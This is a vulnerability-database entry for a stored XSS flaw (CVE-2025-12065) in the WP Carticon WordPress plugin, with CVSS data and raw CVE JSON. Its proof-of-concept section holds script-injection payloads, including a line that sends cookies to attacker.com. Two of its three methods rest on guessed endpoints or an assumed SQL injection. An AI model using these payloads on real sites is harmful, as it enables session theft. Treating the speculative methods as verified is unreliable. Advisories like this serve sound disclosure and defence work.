Security Vulnerability Report
中文
CVE-2025-12065 CVSS 4.4 MEDIUM

CVE-2025-12065

Published: 2025-11-04 05:16:07
Last Modified: 2026-04-15 00:35:42

Description

The WP Carticon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carticon_js_script' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Carticon插件 <= 1.0.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12065: WP Carticon Stored XSS --> <!-- Login as Administrator, then submit via carticon_js_script parameter --> <!-- Method 1: Via Plugin Settings Page --> <form action="[WP_ADMIN_URL]/admin.php?page=wp-carticon-settings" method="POST"> <input type="hidden" name="carticon_js_script" value="<script>alert(document.cookie)</script>" /> <input type="submit" value="Exploit" /> </form> <!-- Method 2: Via REST API or AJAX (if available) --> <script> fetch('[WP_URL]/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=update&option_name=carticon_js_script&option_value=<img src=x onerror=alert(document.domain)>' }); </script> <!-- Method 3: Direct Database Injection (if SQLi exists) --> <!-- INSERT INTO wp_options (option_name, option_value) VALUES ('carticon_js_script', '<script>fetch("https://attacker.com/?c="+document.cookie)</script>') -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12065", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:07.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Carticon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'carticon_js_script' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/wp-carticon/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c346b7d8-d1d4-473d-9388-e38631658c78?source=cve", "source": "[email protected]"}]}}